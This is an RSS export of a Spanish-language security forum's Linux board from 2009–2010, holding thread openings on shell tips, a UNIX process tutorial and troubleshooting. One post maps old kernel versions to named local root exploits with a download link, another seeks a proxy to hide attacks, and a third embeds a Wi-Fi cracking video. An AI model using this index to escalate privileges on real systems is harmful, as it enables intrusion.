<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title> - Linux General</title>
<description></description><link>https://foro.undersecurity.net/list.php?28</link><lastBuildDate>Thu, 09 Sep 2010 09:50:16 -0400</lastBuildDate>
<generator>Phorum 5.2.15a</generator>
<item>
<guid>https://foro.undersecurity.net/read.php?28,7781,7781#msg-7781</guid>
<title>Saber cuales son los comandos mas utilizados desde consola. (2 replies)</title><link>https://foro.undersecurity.net/read.php?28,7781,7781#msg-7781</link><description><![CDATA[Saber cuales son las aplicaciones mas utilizadas en la linea de comandos.<br /><br />Es de conocimiento publico que cada vez que ejecutamos un comando desde la consola este queda almacenado en el archivo history de cada perfil, lo cual nos permite como administrador del sistema saber cuales son los comandos mas utilizados por los usuarios.<br /><br />Basta ir a la consola y ejecutar para ver nuestro historial de comandos:<br /><br /><pre class="bbcode">
$history</pre><br />Para ver el total de comandos almacenados en history ejecutamos:<br /><pre class="bbcode">
$history | wc -l</pre><br />si queremos ver el listado con los comandos mas utilizados ordenados de mayor a menor, entiendase mayor como el comando mas veces ejecutados, entonces copiar la siguiente funcion al bash y ejecutarla:<br /><br /><pre class="bbcode">

$history | awk '{a[$2]++ }END{for(i in a){print a<i> &quot; &quot; i}}' |sort -rn | head -5

</i></pre><br />y la salida sera mas menos asi:<br /><br /><pre class="bbcode">
100 who
24 su
13 ls
9 history
7 ifconfig
4 pitiarmeunflaite</pre>
Como ven el comando que mas utilizo es who, maldita paranoia jajaja.<br /><br />Espero que les sirva de algo,<br /><br />Saludos,<br />n0b0dy.]]></description>
<dc:creator>n0b0dy</dc:creator>
<category>Linux General</category><pubDate>Tue, 17 Aug 2010 12:37:43 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,7780,7780#msg-7780</guid>
<title>Seccion de Tips linux. (no replies)</title><link>https://foro.undersecurity.net/read.php?28,7780,7780#msg-7780</link><description><![CDATA[Bueno comenzare con esta seccion de tips para linux, la idea principal de esto es entregar pequeños trucos para aliviar el diario vivir del<br />usuario linux, la periocidad de la publicacion sera de uno o mas por semana, por lo que insto a todos los usuarios del foro a postear los suyos y asi complementar de mejor manera esta seccion.<br /><br />Segmentando archivos para generar mayor portabilidad y proteger su integridad.<br /><br />Las razones para realizar dicha segmentacion pueden ser variadas, ya sea porque queremos mover o respaldar un archivo grande (varios GB's) y respaldarlos en algun medio extraible ya sean estos cd's dvd's o memorias usb, cuya capacidad es limitada. Utilizaremos para la eventualidad el comando split.<br /><br />Manos a la obra:<br /><br />Tenemos un archivo comprimido de nombre respaldo.tar.gz cuyo tamaño es de 10gb's<br /><br />ejecutamos entonces en la consola:<br /><br /><pre class="bbcode">
#split -b10m respaldo.tar.gz respaldo.tar.gz</pre><br />Una vez ejecutado el comando quedaran en la misma carpeta varios archivos con el nombre que le asignamos ejemplo:<br /><br />respaldo.tar.gza<br />respaldo.tar.gzb<br />respaldo.tar.gzc<br />...<br />y asi sucesivamente.<br /><br />La explicacion de la sentencia ejecutada, para que les sea de utilidad es la siguiente:<br /><br /><pre class="bbcode">
split Nombre del comando.
-b10m  tamaño en el cual queremos que se segmente el archivo a respaldar, si se quisiera que fuera en 1mb seria -b1m.
respaldo.tar.gz nombre del archivo a segmentar
respaldo.tar.gz nombre de los segmentos no necesariamente tiene que ser igual al nombre del archivo original.</pre><br />Pero esto no serviria de nada si no se puede volver a unir el archivo nuevamente.<br />Esto se puede llevar a cabo ejecutando la siguiente instruccion.<br /><br /><pre class="bbcode">
#cat respaldo.tar.gz.* &gt; respaldo.tar.gz</pre><br /><br />Espero que les sea de utilidad.<br />Saludos,<br />n0b0dy.]]></description>
<dc:creator>n0b0dy</dc:creator>
<category>Linux General</category><pubDate>Tue, 10 Aug 2010 18:02:04 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,7364,7364#msg-7364</guid>
<title>Bouncer/Proxy (4 replies)</title><link>https://foro.undersecurity.net/read.php?28,7364,7364#msg-7364</link><description><![CDATA[Hola, este es mi primer post, el comienzo de muchos otros que vendrán, así que antes de nada, un saludo a toda la comunidad :)<br /><br />Dispongo de una máquina remota en la cual poseo privilegios de administrador, quisiera usarla como proxy/bouncer para ocultar mi ip en futuros ataques... dado que no conozco demasiados programas me gustaría que me aconsejasen que tipo de servicios puedo instalar en dicha máquina remota! :]<br /><br /><br />Gracias de antemano ^^]]></description>
<dc:creator>tragantras</dc:creator>
<category>Linux General</category><pubDate>Tue, 15 Jun 2010 14:28:03 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,7223,7223#msg-7223</guid>
<title>GNU Fácil, Antonio Perpiñan Díaz (no replies)</title><link>https://foro.undersecurity.net/read.php?28,7223,7223#msg-7223</link><description><![CDATA[<img src="http://2.bp.blogspot.com/_n0EM_zLV8hI/S9j5jCaDTAI/AAAAAAAAFzE/spn3Yc15jXg/s400/gnu-facil-.JPG" class="bbcode" border="0" /><br /><br /><pre class="bbcode">
GNU Fácil, Antonio Perpiñan Díaz
PDF | Spanish | 181 Páginas | Santo Domingo, República Dominicana | Fundación Código Libre Dominicano | Antonio Perpiñan Díaz

El libro ‘GNU/Fácil’ la versión cuatro ha sido publicada, una guía completa para introducir a los usuarios nuevos a GNU/Linux y en particular a la distribución más usada del momento GNU/UBUNTU.

Antonio Perpiñan Díaz, reconocido en toda América Latina por sus aportes a la comunidad del Software Libre y por sus reconocidos libros (ya casi una docena), se siente orgulloso de la puesta en circulación digital de la cuarta versión de este libro que viene desarrollándose desde cuando UBUNTU estaba en la versión 5.10. El libro “GNU/Fácil” es una guía completa que debe servir de mucha ayuda para los usuarios nuevos al entorno gráfico de GNOME. Escrito con la intensión de educar y bajo condiciones pedagógicas que se pueden prestar para un primer semestre de nivel básico y medio de la educación formal de jóvenes en los cursos de 6, 7, 8 y los niveles de educación media.
Sin importar si el usuario introduciéndose al sistema operativo GNU, el libro debe poder asistir para que la introducción sea condGNU Facil UBUNTU V4ucida sin trastornos. El instructor que conduce la cátedra no tiene que ser un profesional informático, solo debe ser diestro con una computadora a nivel de usuario avanzado y el manual lo ayudará a completar el programa presentado en el. Este libro, desde sus inicios que solo se concentraba en el escritorio GNOME, y luego pasó a cubrir el sistema completo GNU, incluyendo la parte de mantenimiento Fundamental, Administrativa y de Redes, claro está a los niveles mas introductorio tomando en cuenta la audiencia a la cual el libro está dirigido. El libro de Antonio Perpiñan, persona dedicada a no solo a educar en asuntos informáticos, sino a la cultura general de los sistemas Unix y la cultura ética de los Hackers, el libro puede servir de introducción para los usuarios a los principios, teorías y practicas necesarias para empoderar a los potenciales nuevos usuarios y futuros administradores de sistemas.</pre>
<a href="http://rapidshare.com/files/380234618/GNU.Facil.Antonio.Perpinan.Diaz.Cuarta.Edicion.rar" target="_blank" rel="nofollow" >Download #1</a><br /><a href="http://ul.to/3s3df8" target="_blank" rel="nofollow" >Download #2</a><br /><a href="http://www.filefactory.com/file/b15bb88/n/GNU.Facil.Antonio.Perpinan.Diaz.Cuarta.Edicion.rar" target="_blank" rel="nofollow" >Download #3</a><br /><a href="http://librosdigitalesfree.blogspot.com/2010/04/gnu-facil-antonio-perpinan-diaz-cuarta.html" target="_blank" rel="nofollow" >Fuente</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>Linux General</category><pubDate>Fri, 21 May 2010 20:54:13 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,7151,7151#msg-7151</guid>
<title>Smash The stack -- War-Gaming Networking (no replies)</title><link>https://foro.undersecurity.net/read.php?28,7151,7151#msg-7151</link><description><![CDATA[Entretenido y gratis networking game.<br /><br />Donde tendras que aprovechar las vuln para subir tu nivel en un sistema linux.<br />Yo Acabo de llegar al nivel dos.. Ahora tengo que aprender un poco de la <a href="http://en.wikipedia.org/wiki/Fibonacci_number" target="_blank" rel="nofollow" >Sequencia Fibonacci</a> y armar un programita en C<br /><br />http://www.smashthestack.org/<br /><br />ssh -l level1 blowfish.smashthestack.org //Password:level1<br />ssh -l level2 blowfish.smashthestack.org //Password: FIND OUT<br /><br /><br />Saludos]]></description>
<dc:creator>pancho</dc:creator>
<category>Linux General</category><pubDate>Fri, 14 May 2010 08:42:34 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,6804,6804#msg-6804</guid>
<title>Syntax Highlighter en Nano (1 reply)</title><link>https://foro.undersecurity.net/read.php?28,6804,6804#msg-6804</link><description><![CDATA[Lo primero es ver todas las opciones de resaltado disponibles, para esto ejecutamos lo siguiente:<br /><br /><pre class="bash bbcode_geshi"><div class="head">Language: Bash</div>solarin<span class="sy0">@</span>Gentoo ~ $ <span class="kw2">ls</span> <span class="sy0">/</span>usr<span class="sy0">/</span>share<span class="sy0">/</span>nano<span class="sy0">/</span>
asm.nanorc      groff.nanorc   objc.nanorc    ruby.nanorc
awk.nanorc      html.nanorc    ocaml.nanorc   sh.nanorc
c.nanorc        java.nanorc    patch.nanorc   tcl.nanorc
css.nanorc      man-html       perl.nanorc    tex.nanorc
debian.nanorc   man.nanorc     php.nanorc     xml.nanorc
fortran.nanorc  mutt.nanorc    pov.nanorc
gentoo.nanorc   nanorc.nanorc  python.nanorc</pre><br />Ahora en la carpeta del usuario al que queremos activar el syntax highlighter creamos o editamos el archivo: .nanorc, yo usare el mismo nano.<br /><br /><pre class="bash bbcode_geshi"><div class="head">Language: Bash</div><span class="kw2">nano</span> ~<span class="sy0">/</span>.nanorc</pre><br />En mi caso yo agregare las lineas necesarias para resaltar el código en C,python,bash,php,perl,asm,awk y java :<br /><br /><pre class="bash bbcode_geshi"><div class="head">Language: Bash</div>include <span class="st0">&quot;/usr/share/nano/c.nanorc&quot;</span>  
include <span class="st0">&quot;/usr/share/nano/python.nanorc&quot;</span>  
include <span class="st0">&quot;/usr/share/nano/sh.nanorc&quot;</span>  
include <span class="st0">&quot;/usr/share/nano/php.nanorc&quot;</span>  
include <span class="st0">&quot;/usr/share/nano/perl.nanorc&quot;</span>  
include <span class="st0">&quot;/usr/share/nano/asm.nanorc&quot;</span>  
include <span class="st0">&quot;/usr/share/nano/awk.nanorc&quot;</span>   
include <span class="st0">&quot;/usr/share/nano/java.nanorc&quot;</span></pre><br />Mas info:<br /><a href="http://linux.die.net/man/5/nanorc" target="_blank" rel="nofollow" >Man Pages nanorc</a><br /><a href="http://www.nano-editor.org/" target="_blank" rel="nofollow" >Nano WebSite Oficial</a>]]></description>
<dc:creator>S[e]C</dc:creator>
<category>Linux General</category><pubDate>Wed, 10 Mar 2010 17:02:37 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,6753,6753#msg-6753</guid>
<title>Que es rpcbind? es seguro tenerlo? (4 replies)</title><link>https://foro.undersecurity.net/read.php?28,6753,6753#msg-6753</link><description><![CDATA[nestat me da esto:<br /><pre class="bbcode">
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode       PID/Program name
tcp        0      0 *:sunrpc                *:*                     LISTEN      root       4424        1304/portmap
tcp        0      0 *:49383                 *:*                     LISTEN      root       4463        1315/rpc.statd</pre><br />esto con nmap:<br /><pre class="bbcode">
PORT      STATE         SERVICE  VERSION        
111/tcp   open          rpcbind                                         
|  rpcinfo:                                                             
|  100000  2    111/udp  rpcbind                                        
|  100024  1  52970/udp  status                                         
|  100000  2    111/tcp  rpcbind                                                                                                                                                            
|_ 100024  1  49383/tcp  status                                                                                                                                                                                                                                                                                                              
49383/tcp open          rpcbind                                                                                                                                                             
111/udp   open          rpcbind                                                                                                                                                                                    
52970/udp open          rpcbind                                                                                                                                                             
54508/udp open|filtered unknown</pre><br />miré el man y wikipedia pero sigo sin entender que es eso y que riesgos hay en dejarlo asi]]></description>
<dc:creator>seth</dc:creator>
<category>Linux General</category><pubDate>Sat, 06 Mar 2010 14:46:41 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,6688,6688#msg-6688</guid>
<title>¿Como Detener el Servicio smtp En Ubuntu 9.10 ? (no replies)</title><link>https://foro.undersecurity.net/read.php?28,6688,6688#msg-6688</link><description><![CDATA[Una vez que Actualize ubuntu , me di cuenta que tenia un Puerto abierto, se trataba del puerto smtp ,buscando en internet le di con el commando para detener este servicio (no soy muy inteligente para esto de los commandos :=D )<br /><br />Resultado NMAP<br /><pre class="bbcode">
25/tcp   open  smtp</pre><br />Detener el Servicio<br /><br /><pre class="bbcode">
 <b>service postfix stop</b>
 * Stopping Postfix Mail Transport Agent postfix                         [ OK ] 
root@Ozx:/home/oz# nmap localhost</pre><br /><br />Borrar el Servicio , para que no arranque desde el inicio.<br /><br /><pre class="bbcode">
<b>update-rc.d -f postfix remov</b>e
 Removing any system startup links for /etc/init.d/postfix ...
   /etc/rc0.d/K20postfix
   /etc/rc1.d/K20postfix
   /etc/rc2.d/S20postfix
   /etc/rc3.d/S20postfix
   /etc/rc4.d/S20postfix
   /etc/rc5.d/S20postfix
   /etc/rc6.d/K20postfix</pre><br />Y vuala Funciona Perfecto ¡]]></description>
<dc:creator>OzX</dc:creator>
<category>Linux General</category><pubDate>Thu, 25 Feb 2010 20:05:31 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,6657,6657#msg-6657</guid>
<title>Extraño Caso Para Visualizar Peliculas .MOV (mencoder y VLC)) (no replies)</title><link>https://foro.undersecurity.net/read.php?28,6657,6657#msg-6657</link><description><![CDATA[Me baje un tutorial de &quot;LYNDA&quot; , pero estos archivos vienen en formato de quicktime .mov, intente visualizarlo con VLC que lo visualiza todo y no ejecuto NADA, buscando veo que nececito los w32Codec pero ya los tenia instalado, Analizando Opciones opte por convertir los archivos a .avi para ello me decargue el &quot;mencoder&quot; que transofma todo tipo de archivos de Video, pero para mi sorpresa logre visualizar los videos .mov con VLC ...<br />dejo este COmentario por si Alguien le paso lo Mismo o tuvo dramas con esos malditos .MOV<br /><br />Saludos]]></description>
<dc:creator>OzX</dc:creator>
<category>Linux General</category><pubDate>Wed, 24 Feb 2010 16:51:41 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,6360,6360#msg-6360</guid>
<title>¿Cómo crackear conexiones Wi-Fi? (1 reply)</title><link>https://foro.undersecurity.net/read.php?28,6360,6360#msg-6360</link><description><![CDATA[<br/><embed src="http://www.youtube.com/v/jETwvEDaJeQ" type="application/x-shockwave-flash" width="425" height="350"></embed><br/><br /><br />Fuente ALT1040]]></description>
<dc:creator>OzX</dc:creator>
<category>Linux General</category><pubDate>Sat, 13 Feb 2010 19:44:25 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,6269,6269#msg-6269</guid>
<title>Procesos UNIX (2 replies)</title><link>https://foro.undersecurity.net/read.php?28,6269,6269#msg-6269</link><description><![CDATA[Bueno, estoy de exámenes y aunque he seguido pasandome por estos lugares no quería postea ni liarme en nada porqué ya pierdo bastante el tiempo yo solo.<br />El caso es que me comprometí a dar una charla sobre procesos en el IRC, y como he estado desaparecido no ha podido ser. El caso es que tenía la conciencia intranquila, y ahora en un arrebato he escrito esto. Lo he hecho muy a lo loco y sin pensar, así que me disculpo por adelantado ya que he dejado demasiadas cosas en el tintero, y probablemente me haya expresado bastante mal fruto de la prisa...<br />En cualquier caso lo de la charla sigue en pie, así que espero que esto sirva como tentenpié para ésta. Desde luego que me tomaré algo más de tiempo para escribir la próxima vez, e intenaré profundizar un poco más (aunque no demasiado que sino se me irá la cosa de las manos).<br /><br /><b><u>¿Que es un proceso?</u></b><br />No hay que confundir la palabra programa con proceso. Cuando se habla de &quot;<span style="color:#FF0000">programa</span>&quot; se hace referencia al código escrito en cierto lenguaje de programación, mientras que cuando hablamos de &quot;<span style="color:#FF0000">proceso</span>&quot;, nos referimos a una instancia de ejecución de un programa (contador, palabra de estado, registros, pila, etc).<br />Se suele decir que un programa es un concepto estático, y proceso un concepto dinámico.<br /><br /><b><u>PCB y tabla de procesos</u></b><br />La CPU solo puede hacer un trabajo, de modo que aún que hayan varios procesos ejecutados, en un momento dado solo uno estará realmente en ejecución.<br />El sistema operativo será el encargado de repartir el trabajo a la CPU, para ello existe una <u>tabla de procesos</u> con un <span style="color:#FF0000">PCB</span> (Bloque de Control de Proceso) para cada proceso en ejecución. Este bloque es una estructura de datos con toda la información relativa a un proceso:<br />- Identificador<br />- Estado (ejecución, preparado, bloqueado)<br />- Prioridad<br />- Padres e hijos<br />- Punteros a zonas de memoria (pila, datos, etc)<br />- PC, PSW, registros<br />- TDF<br />- etc.<br />El <span style="color:#FF0000">PID</span>, es el número único que identificará al proceso.<br />En cuánto a los estados, como hemos dicho, la CPU sólo puede realizar una tarea a la vez de modo que mientras un proceso está en la CPU diremos que esta en<br />&quot;ejecución&quot;. Los procesos &quot;preparados&quot; son los que estan a la espera de que se les asigne la CPU (cola de procesos preparados). El resto son los procesos<br />&quot;bloqueados&quot;, que no estarán preparados hasta un determinado evento (termina transferencia E/S por DMA, llega una señal, etc). Cabe destacar que todo esto<br />ocupa espacio en memória, de modo que el número de procesos que puede haber en una máquina puede quedar muy limitado, por eso el sistemao operativo también se encargará de llevar a disco algunos procesos que tardarán en ejecutarse o salir de &quot;bloqueados&quot; y así aumentar la capacidad de procesos simultáneos.<br /><br /><b><u>Planificador de procesos (Scheduler) y despachador (Dispatcher)</u></b><br />El scheduler viene a ser el jefazo, el encargado de gestionar todo este lío. A priori se distinguen tres niveles:<br />- <u>A largo plazo</u>; decide sobre la creación de nuevos procesos, controla el grado de <span style="color:#FF0000">multiprogramación</span>.<br />- <u>Medio plazo</u>; el encargado del <span style="color:#FF0000">swapping</span>, intercambio de procesos entre memoria y disco.<br />- <u>A corto plazo</u>; se invoca cada interrupción, decide que proceso de los preparados pasa a ejecutarse.<br />El problema que surge ahora es decir basta a un proceso, tenemos una cola de procesos ansiosos por llegar a CPU y si esta ocupada nunca podrán llegar. El<br />primer paso para solventar esto son los sistemas de multiprogramación, para aumentar el rendimiento de la máquina (a diferencia de sus antecesores los sistemas monoprogramados) no desperdician tiempo de CPU. Si un proceso pide E/S, se pasa a bloqueado hasta que termine la transferencia y así otro puede<br />pasar a ejecución, en lugar de esperar que termine la E/S, vuelva a ejecución y termine la ejecución. Pero esto no sirve para sistemas de tiempo compartido,<br />la solució básica es poner un <span style="color:#FF0000">quantum</span> (cada x msg llega interrupción, llama a scheduler y mueve a preparado el proceso, ejecuta otro). A partir de esto hay muchas implementaciones que tienen en cuenta distintos factores: prioridades, antiguedad, duración, etc.<br />En cualquier caso el sistema va a ir rotando el proceso que se encuentra en ejecución para que nadie quede marginado, y para ello hay que realizar cambios<br />de contexto. Tenemos que salvar la información necesária para que el proceso pueda volver a ejecutarse por dónde estaba, así que el dispatcher va a actualizar<br />nuestro PCB (estado, PC, PSW, registros, etc), y va a restaurar el contexto del proceso que el scheduler manda a ejecución.<br /><br /><b><u>Fork()</u></b><br />Crea un duplicado del proceso que lo realiza. El nuevo proceso es el hijo, y el creador el padre.<br />Algoritmo general:<br />- busca entrada libre en tabla de procesos y un PID único<br />- copia los datos del padre al PCB del hijo<br />- modifica algunos campos: tiempo, PID...<br />- reserva espacio en memoria y duplica zonas del padre<br />- copia TDF (tabla de descriptores de fichero)<br />- devuelve el PID del hijo al proceso padre y cero al hijo<br />- coloca a los dos procesos en estado preparado<br />- llama a scheduler<br />(continuará ejecutándose a partir de la llamada fork (PC no cambia))<br /><br /><u>Ejemplo:</u><br /><br /><pre class="c bbcode_geshi"><div class="head">Language: C</div>main<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
   <span class="kw4">int</span> pid<span class="sy0">;</span>
   <span class="kw1">switch</span><span class="br0">&#40;</span>pid<span class="sy0">=</span>fork<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
      <span class="kw1">case</span> <span class="sy0">-</span><span class="nu0">1</span><span class="sy0">:</span> exit<span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="coMULTI">/* error */</span>
      <span class="kw1">case</span> <span class="nu0">0</span><span class="sy0">:</span> <span class="coMULTI">/* hijo */</span>
         <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;hola soy el hijo<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
      <span class="kw1">default</span><span class="sy0">:</span> <span class="coMULTI">/* padre */</span>
         <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;hola soy el padre<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
   <span class="br0">&#125;</span>
   exit<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="coMULTI">/* ambos */</span>
<span class="br0">&#125;</span></pre><br /><br /><b><u>exec()</u></b><br />Sustituye la imagen del proceso que realiza la llamda por la almacenada en un fichero ejecutable. La identidad del proceso no cambia.<br />Algoritmo general:<br />- Conseguir imagen del programa a ejecutar (comprobar si es ejecutable, blablabla)<br />- salva los parametros de exec()<br />- libera regiones de memoria del proceso<br />- reserva espacio para las nuevas<br />- carga contenido del fichero<br />- modifica campos del PCB (PC, puntero de pila, ...)<br />- carga parámetros a la pila del proceso<br />- estado a preparado<br />- llama scheduler<br /><br /><br /><u>Ejemplo:</u><br /><br /><pre class="c bbcode_geshi"><div class="head">Language: C</div>main<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
   execl<span class="br0">&#40;</span><span class="st0">&quot;/bin/ls&quot;</span><span class="sy0">,</span><span class="st0">&quot;ls&quot;</span><span class="sy0">,</span><span class="st0">&quot;-l&quot;</span><span class="sy0">,</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
   <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;Error<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span> exit<span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre><br />Y esto es una demasiado resumida y mala introducción a los procesos en UNIX. De nuevo disculpas y un saludo! ^^<br /><br />PD: Dudas, discrepancias, valoraciones, etc. Comentarlo, así lo hago mejor la próxima vez.]]></description>
<dc:creator>Yasión</dc:creator>
<category>Linux General</category><pubDate>Sun, 24 Jan 2010 21:28:08 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,5853,5853#msg-5853</guid>
<title>Error cuando compilo php (cc1: out of memory allocating 1311024 bytes after a total of 0 bytes) (5 replies)</title><link>https://foro.undersecurity.net/read.php?28,5853,5853#msg-5853</link><description><![CDATA[Tengo una cuenta en cjb.net y quiero ejecutar mi bot de irc. Necesito pnctl para poder usar fork, entonces traté de compilar php habilitandolo pero me da error:<br /><br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>[xdseth@shell ~/php/php-5.3.1]$ make<br />/bin/sh /home/xdseth/php/php-5.3.1/libtool --silent --preserve-dup-deps --mode=compile gcc -Iext/date/lib -Iext/date/ -I/home/xdseth/php/php-5.3.1/ext/date/ -DPHP_ATOM_INC -I/home/xdseth/php/php-5.3.1/include -I/home/xdseth/php/php-5.3.1/main -I/home/xdseth/php/php-5.3.1 -I/home/xdseth/php/php-5.3.1/ext/date/lib -I/home/xdseth/php/php-5.3.1/ext/ereg/regex -I/usr/local/include/libxml2 -I/usr/local/include -I/home/xdseth/php/php-5.3.1/ext/sqlite3/libsqlite -I/home/xdseth/php/php-5.3.1/TSRM -I/home/xdseth/php/php-5.3.1/Zend -I/usr/local/include -g -O2 -fvisibility=hidden -c /home/xdseth/php/php-5.3.1/ext/date/lib/parse_date.c -o ext/date/lib/parse_date.lo<br /><br />cc1: out of memory allocating 1311024 bytes after a total of 0 bytes<br />*** Error code 1<br /><br />Stop in /home/xdseth/php/php-5.3.1.</div></blockquote><br />mas datos:<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>[xdseth@shell ~/php/php-5.3.1]$ ulimit -a<br />socket buffer size (bytes, -b) 1048576<br />core file size (blocks, -c) 131072<br />data seg size (kbytes, -d) 131072<br />file size (blocks, -f) 131072<br />max locked memory (kbytes, -l) 131072<br />max memory size (kbytes, -m) 131072<br />open files (-n) 1024<br />pipe size (512 bytes, -p) 1<br />stack size (kbytes, -s) 131072<br />cpu time (seconds, -t) 3600<br />max user processes (-u) 16<br />virtual memory (kbytes, -v) 131072<br />swap size (kbytes, -w) 131072<br />[xdseth@shell ~/php/php-5.3.1]$ cat /proc/meminfo<br />cat: /proc/meminfo: No such file or directory<br />[xdseth@shell ~/php/php-5.3.1]$ free<br />-bash: free: command not found<br />[xdseth@shell ~/php/php-5.3.1]$ uname -a<br />FreeBSD shell.cjb.net 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Wed Dec 2 21:08:33 MST 2009 root@shell.cjb.net:/usr/obj/usr/src/sys/CJB amd64</div></blockquote><br />alguien sabe como solucionarlo? en lo posible que no sea pedirle al admin mas memoria<br /><br /><br />edito: eso era la 5.3.x, con la 3.2.12 es similar:<br />cc1: out of memory allocating 4072 bytes after a total of 0 bytes]]></description>
<dc:creator>seth</dc:creator>
<category>Linux General</category><pubDate>Sun, 27 Dec 2009 20:45:04 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,5150,5150#msg-5150</guid>
<title>Compilados de Local Root Exploit (1 reply)</title><link>https://foro.undersecurity.net/read.php?28,5150,5150#msg-5150</link><description><![CDATA[Hola en esta página <a href="http://tarantula.by.ru/localroot/" target="_blank" rel="nofollow" >web</a>, se encuentra un compilado de Local Root Exploits para ser descargados, entre ellos se encuentran:<br /><br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>2.2 -------&gt; ptrace<br /><br />2.4.17 ----&gt; newlocal , kmod , uselib24<br /><br />2.4.18 ----&gt; brk , brk2 , newlocal , kmod , km.2<br /><br />2.4.19 ----&gt; brk , brk2 , newlocal , kmod , km.2<br /><br />2.4.20 ----&gt; ptrace , kmod , ptrace-kmod , brk , brk2 , elfbl , km.2<br /><br />2.4.21 ----&gt; brk , brk2 , ptrace , ptrace-kmod , km.2 , elfbl<br /><br />2.4.22 ----&gt; brk , brk2 , ptrace , ptrace-kmod , km.2 , elfbl<br /><br />2.4.22-10 -&gt; loginx<br /><br />2.4.23 ----&gt; mremap_pte<br /><br />2.4.24 ----&gt; mremap_pte , uselib24<br /><br />2.4.25-1 --&gt; uselib24<br /><br />2.4.27 ----&gt; uselib24<br /><br />2.6.2 -----&gt; mremap_pte , krad , h00lyshit<br /><br />2.6.5 -----&gt; krad , krad2 , h00lyshit<br /><br />2.6.6 -----&gt; krad , krad2 , h00lyshit<br /><br />2.6.7 -----&gt; krad , krad2 , h00lyshit<br /><br />2.6.8 -----&gt; krad , krad2 , h00lyshit<br /><br />2.6.8-5 ---&gt; krad2 , h00lyshit<br /><br />2.6.9 -----&gt; krad , krad2 , h00lyshit<br /><br />2.6.9-34 --&gt; r00t , h00lyshit<br /><br />2.6.10 ----&gt; krad , krad2 , h00lyshit<br /><br />2.6.11 ----&gt; k-rad3<br /><br />2.6.13 ----&gt; raptor , raptor2 , h0llyshit , prctl<br /><br />2.6.14 ----&gt; raptor , raptor2 , h0llyshit , prctl<br /><br />2.6.15 ----&gt; raptor , raptor2 , h0llyshit , prctl<br /><br />2.6.16 ----&gt; raptor , raptor2 , h0llyshit , prctl</div></blockquote><br />Me gustaría plantear la idea de usar este post para referirnos a los diferentes Root Exploits encontrados en la Red.<br /><br />Saludos]]></description>
<dc:creator>1995</dc:creator>
<category>Linux General</category><pubDate>Sat, 14 Nov 2009 23:59:14 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,4853,4853#msg-4853</guid>
<title>[Ayuda] con Ubuntu 9.10 en HD SATA (11 replies)</title><link>https://foro.undersecurity.net/read.php?28,4853,4853#msg-4853</link><description><![CDATA[Hace poco me pasaron una imagen iso de ubuntu 9.10, la keme en un cd y cuando la voy a probar como live cd se me cuelga.<br />Justo en la pantalla en donde elegis si lo keres usar sin alterar tu equipo, si lo keres instalar etc etc..<br />Estuve buscando algo de info pero no encuentro ninguna solucion. Con xp lo pude resolver haciendo un windows &quot;nuevo&quot; integrando los controladores AHCI, ya ke si no hacia esto windows me mostraba la famosa pantalla azul..xD<br />Ya probe cambiando desde la bios AHCI a Ide pero no pasa nada, no anda ni ubuntu, ni vista ke ya lo tengo instalado.<br />Problemas del cd no es pork lo probe en una pentium IV y corre bien.. asi ke por varios descarte ke hice, el problema esta en el HD SATA.<br />A alguien le paso lo mismo y lo pudo resolver? Pudieron hacer andar Vista y Ubuntu juntos en un HD SATA?<br />Les dejo algunos datos de mi pc ke les pueden servir :<br /><br />Intel core 2 duo 2.0Ghz<br />4 GB de RAM DDR3<br />HD SATA de 320GB<br /><br />Espero ke me puedan ayudar, Saludos..!]]></description>
<dc:creator>Astra</dc:creator>
<category>Linux General</category><pubDate>Thu, 19 Nov 2009 15:33:21 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?28,4819,4819#msg-4819</guid>
